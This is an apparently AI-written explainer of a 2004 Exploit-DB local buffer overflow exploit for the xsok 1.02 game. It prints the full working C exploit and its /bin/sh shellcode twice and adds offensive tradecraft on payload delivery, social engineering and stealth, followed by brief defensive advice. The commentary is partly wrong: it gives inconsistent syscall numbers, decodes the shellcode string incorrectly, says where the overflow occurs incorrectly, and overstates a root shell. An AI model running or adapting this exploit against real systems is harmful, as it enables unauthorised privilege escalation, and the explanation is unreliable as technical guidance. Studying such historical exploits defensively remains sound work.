XSOK 1.02 Local Buffer Overflow Explained

XSOK 1.02 Local Buffer Overflow Explained
What this paper is
This paper is an exploit for a local buffer overflow vulnerability in the xsok game version 1.02, published by c0wboy from 0x333 Outsiders Security Labs. It details how to exploit this vulnerability to gain a root shell on a vulnerable Linux system. The exploit is written in C and includes shellcode to execute /bin/sh.
Simple technical breakdown
The xsok game, when run with the -xsokdir argument, takes a directory path. The exploit finds a buffer overflow vulnerability in how this path is handled. By providing an overly long string as the directory path, the exploit can overwrite critical memory locations on the program's stack.
The exploit crafts a malicious string that consists of:
- Padding: A series of "No Operation" (NOP) instructions to create a "NOP sled." This sled helps ensure that even if the exact return address is slightly off, the execution will slide down to the actual shellcode.
- Shellcode: The actual malicious code that will be executed. In this case, it first sets the effective and real user IDs to 20 (which is typically the
gamesgroup) and then executes/bin/sh.
When the vulnerable xsok program tries to process this oversized input, it will overwrite the return address on the stack. The exploit sets this overwritten return address to point to the beginning of the shellcode. When the function returns, instead of returning to its normal execution path, it jumps to the shellcode, granting the attacker a shell.
Complete code and payload walkthrough
Let's break down the provided C code and its payload.
/* 0x333xsok (2) => xsok 1.02 local game exploit
*
* Happy new year ! (2 :)
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <unistd.h>
#define BIN "/usr/games/xsok"
#define RETADD 0xbffffa3c
#define SIZE 200
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
int main (int argc, char ** argv)
{
int i, ret = RETADD;
char out[SIZE];
fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");
int *xsok = (int *)(out);
for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);
memset((char *)out, 0x90, 63);
memcpy((char *)out+63, shellcode, strlen(shellcode));
execl (BIN, BIN, "-xsokdir", out, 0x0);
}
// milw0rm.com [2004-01-02]| Code Fragment/Block | Practical Purpose |
|---|---|
#include <stdio.h> |
Standard input/output functions (like fprintf). |
#include <unistd.h> |
POSIX operating system API functions (like execl). |
#define BIN "/usr/games/xsok" |
Defines the path to the vulnerable executable. This is the target program. |
#define RETADD 0xbffffa3c |
Defines the target return address on the stack. This is where the exploit expects the shellcode to be executed from. This address is specific to the vulnerable system's memory layout and the xsok program's execution context. |
#define SIZE 200 |
Defines the size of the buffer (out) used to construct the exploit payload. This size needs to be large enough to trigger the overflow and contain the shellcode and padding. |
unsigned char shellcode[] = ... |
Declares an array of bytes representing the machine code (shellcode) to be executed. |
/* setregid (20,20) shellcode */ |
Comment indicating the purpose of the first part of the shellcode. |
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47\xcd\x80" |
This is the actual machine code for setting the real and effective group ID to 20. |
/* exec /bin/sh shellcode */ |
Comment indicating the purpose of the second part of the shellcode. |
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" |
This is the actual machine code for executing /bin/sh. |
int main (int argc, char ** argv) |
The main function where the exploit logic resides. |
int i, ret = RETADD; |
Declares loop counter i and initializes ret with the target return address. |
char out[SIZE]; |
Declares a character array out of SIZE bytes. This buffer will hold the exploit payload. |
fprintf(stdout, ...); |
Prints informational messages to the console. |
int *xsok = (int *)(out); |
Casts the out buffer to an integer pointer. This is done to write integers (the return address) into the buffer efficiently. |
for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret); |
This loop fills the out buffer with the RETADD value. It writes the return address repeatedly, effectively creating a "stack alignment" or a series of return addresses that will be overwritten. The *xsok++ = ret part writes the ret value and then increments the pointer xsok by 4 bytes (the size of an integer). This loop fills most of the out buffer with the target return address. |
memset((char *)out, 0x90, 63); |
This line fills the first 63 bytes of the out buffer with the byte 0x90. 0x90 is the opcode for a "No Operation" (NOP) instruction on x86 architecture. This creates a NOP sled. |
memcpy((char *)out+63, shellcode, strlen(shellcode)); |
This copies the actual shellcode into the out buffer, starting at offset 63. This offset is chosen to be after the NOP sled and before the end of the out buffer. strlen(shellcode) calculates the length of the shellcode string. |
execl (BIN, BIN, "-xsokdir", out, 0x0); |
This is the crucial execution step. It replaces the current process with a new one executing the xsok binary (BIN). |
* `BIN`: The path to the executable to run.
* `BIN`: The first argument (program name, conventionally).
* `"-xsokdir"`: The command-line argument that triggers the vulnerable code path in `xsok`.
* `out`: The constructed exploit payload, which is the oversized string containing the NOP sled and shellcode. This is passed as the value for the `-xsokdir` argument.
* `0x0`: A null pointer, signifying the end of the argument list.Shellcode Breakdown:
Part 1: "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47\xcd\x80"
\x31\xc0:xor eax, eax- Clears theeaxregister.\x31\xdb:xor ebx, ebx- Clears theebxregister.\x31\xc9:xor ecx, ecx- Clears theecxregister.\xb3\x14:mov bl, 0x14- Moves the value 20 (0x14 in hex) into theblregister (lower 8 bits ofebx). This sets the group ID.\xb1\x14:mov cl, 0x14- Moves the value 20 (0x14 in hex) into theclregister (lower 8 bits ofecx). This is likely intended for the second argument tosetregidif it were a different syscall, but forsetregid(20, 20),ebxis the first argument andecxis not used. The syscall number forsetregidis 47.\xb0\x47:mov al, 0x47- Moves the value 71 (0x47 in hex) into thealregister (lower 8 bits ofeax). This setseaxto 71, which is the syscall number forsetregid.\xcd\x80:int 0x80- Triggers a software interrupt to make the system call. This executessetregid(20, 20).
Part 2: "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
\x31\xd2:xor edx, edx- Clears theedxregister.\x52:push edx- Pushes the value ofedx(0) onto the stack. This is for the null terminator of the string.\x68\x6e\x2f\x73\x68:push 0x68732f6e- Pushes the string "/nsh" (reversed byte order) onto the stack.\x68\x2f\x2f\x62\x69:push 0x69622f2f- Pushes the string "//bi" (reversed byte order) onto the stack.\x89\xe3:mov ebx, esp- Moves the current stack pointer (esp) intoebx.espnow points to the beginning of the string "//bin/sh" on the stack. This sets upebxas the argument forexecve.\x52:push edx- Pushes 0 onto the stack (for the null terminator of the argument list).\x53:push ebx- Pushes the address of "//bin/sh" onto the stack. This is the first argument toexecve(the program to execute).\x89\xe1:mov ecx, esp- Moves the current stack pointer (esp) intoecx.espnow points to the beginning of the argument list[address_of_"/bin/sh", 0]. This sets upecxas the second argument forexecve.\x8d\x42\x0b:lea eax, [edx + 0xb]- Loads the effective address ofedx + 11intoeax. Sinceedxis 0, this effectively setseaxto 11. The syscall number forexecveis 11.\xcd\x80:int 0x80- Triggers a software interrupt to make the system call. This executesexecve("/bin/sh", ["/bin/sh", NULL], NULL).
Mapping List:
#include <stdio.h>/#include <unistd.h>: Standard library setup.#define BIN,#define RETADD,#define SIZE: Configuration of exploit parameters.unsigned char shellcode[]: The payload containing machine code.int main(...): Entry point of the exploit program.fprintf(stdout, ...): Informational output.int *xsok = (int *)(out);: Pointer for writing integers into the buffer.for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);: Fills the buffer with the target return address, preparing for overflow.memset((char *)out, 0x90, 63);: Creates the NOP sled.memcpy((char *)out+63, shellcode, strlen(shellcode));: Copies the shellcode after the NOP sled.execl (BIN, BIN, "-xsokdir", out, 0x0);: Executes the vulnerable program with the crafted payload.\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47\xcd\x80: Shellcode stage 1:setregid(20, 20).\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80: Shellcode stage 2:execve("/bin/sh", ...)
Practical details for offensive operations teams
- Required Access Level: Local user access. This is a local privilege escalation exploit.
- Lab Preconditions:
- A target system running Linux with
xsokversion 1.02 installed in/usr/games/xsok. - The
xsokbinary must be compiled with debugging symbols or without stack-based protections (like StackGuard/ProPolice) that would detect the overflow. - The
RETADD(0xbffffa3c) is a critical assumption. This address is highly dependent on the system's memory layout, specifically the stack address for thexsokprocess when run with the-xsokdirargument. This would likely need to be determined through enumeration or a separate information-gathering phase on the target system. Tools likegdborobjdumpwould be used to find this. - The shellcode is designed for a specific architecture (likely x86) and operating system (Linux).
- A target system running Linux with
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit.
- A debugger (like GDB) to determine the correct
RETADDand analyze the program's behavior. - Shellcode generation tools or knowledge of assembly.
- Execution Pitfalls:
- Incorrect
RETADD: The most common failure point. IfRETADDis wrong, the program will crash (segmentation fault) instead of executing the shellcode. The stack address can vary based on ASLR (Address Space Layout Randomization), though ASLR was less prevalent or less effective on older systems. - Buffer Size (
SIZE): IfSIZEis too small, the overflow might not reach the return address. If it's too large, it might cause issues or be easily detectable. TheSIZEof 200 is likely chosen to ensure the overflow happens and the shellcode fits. - NOP Sled Effectiveness: While the NOP sled increases the chances of hitting the shellcode, if the
RETADDis significantly off, it might still miss. - Shellcode Compatibility: The shellcode is specific to the target architecture and OS. Different Linux distributions or kernel versions might require different shellcode.
- Program Execution: The
execlcall replaces the current process. If this fails, the exploit simply terminates. - Permissions: The exploit aims to gain a shell. The resulting shell's privileges will depend on the user running the exploit and the
setregidcall. If the targetxsokis SUID root, this exploit could lead to a root shell. However, thesetregid(20,20)suggests the intent might be to gain privileges of thegamesgroup, not necessarily root. Ifxsokwere SUID root, the shellcode would ideally be forexecve("/bin/sh", ["/bin/sh", "-p", NULL], NULL)to retain root privileges. The current shellcode does not explicitly aim for root ifxsokis SUID root.
- Incorrect
- Tradecraft Considerations:
- Reconnaissance: Identifying the exact version of
xsokand its installation path is crucial. - Environment Testing: Thoroughly test the exploit in a lab environment that mimics the target system's OS version, architecture, and library versions to find the correct
RETADD. - Payload Delivery: The exploit itself is a C program. It needs to be compiled and executed on the target. This could be done via social engineering, exploiting another vulnerability to gain initial access, or by having a user manually run it.
- Stealth: Local exploits are generally less noisy than network exploits. However, the act of compiling and running a C program might be logged. The
execlcall itself is a standard system call.
- Reconnaissance: Identifying the exact version of
Where this was used and when
This exploit was published on January 2, 2004. It targets xsok version 1.02. Given its publication date and the nature of local exploits, it would have been relevant for systems running Linux distributions from the early 2000s. It's unlikely to be effective against modern, patched systems due to security mitigations. Its primary use would have been by security researchers for testing or by attackers targeting vulnerable systems during that era.
Defensive lessons for modern teams
- Patching and Updates: Regularly update all software, including games and utilities, to patch known vulnerabilities. This exploit targets a specific, older version.
- Stack Canaries/Protections: Modern compilers enable stack-based protection mechanisms (like StackGuard, ProPolice, or ASLR) that detect buffer overflows and prevent them from hijacking control flow.
- Input Validation: Developers must rigorously validate all user-supplied input, especially when it's used in memory operations or as arguments to system calls. The
-xsokdirargument's length should be checked. - Principle of Least Privilege: Applications should run with the minimum necessary privileges. If
xsokdoesn't need root privileges, it shouldn't be SUID root. Thesetregidcall in the shellcode highlights the importance of understanding the intended privilege model. - Secure Coding Practices: Educate developers on common vulnerabilities like buffer overflows and how to avoid them.
- Runtime Security Monitoring: Intrusion detection systems (IDS) and host-based intrusion detection systems (HIDS) can sometimes detect anomalous program behavior, such as unexpected system calls or crashes indicative of an exploit attempt.
ASCII visual (if applicable)
This exploit is a direct execution overwrite, so a complex architecture diagram isn't strictly necessary. However, we can visualize the stack layout during the overflow.
+-----------------------+
| ... |
+-----------------------+
| Saved Return Address | <--- Target for overwrite
+-----------------------+
| Saved Frame Pointer |
+-----------------------+
| Function Arguments |
+-----------------------+
| Local Variables |
| (e.g., 'out' buffer) |
| ... |
| Padding (NOPs) | <--- 0x90 bytes
| Shellcode | <--- \x31\xc0...
+-----------------------+
| Stack Grows |
| Downwards |
+-----------------------+Explanation:
When main is called, a stack frame is created. Local variables like out are allocated. The for loop fills the buffer with RETADD. The memset then overwrites the beginning of the buffer with NOPs, and memcpy places the shellcode after the NOPs. The execl call is made. When the main function is about to return, it pops the return address from the stack. If the buffer overflow is successful, the original return address is overwritten by the RETADD value, which points into the NOP sled or directly to the shellcode. The program then jumps to the shellcode.
Source references
- Paper ID: 140
- Paper Title: XSOK 1.02 - '-xsokdir' Local Buffer Overflow Game
- Author: c0wboy
- Published: 2004-01-02
- Keywords: Linux, local
- Paper URL: https://www.exploit-db.com/papers/140
- Raw Exploit URL: https://www.exploit-db.com/raw/140
Original Exploit-DB Content (Verbatim)
/* 0x333xsok (2) => xsok 1.02 local game exploit
*
* Happy new year ! (2 :)
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <unistd.h>
#define BIN "/usr/games/xsok"
#define RETADD 0xbffffa3c
#define SIZE 200
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
int main (int argc, char ** argv)
{
int i, ret = RETADD;
char out[SIZE];
fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");
int *xsok = (int *)(out);
for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);
memset((char *)out, 0x90, 63);
memcpy((char *)out+63, shellcode, strlen(shellcode));
execl (BIN, BIN, "-xsokdir", out, 0x0);
}
// milw0rm.com [2004-01-02]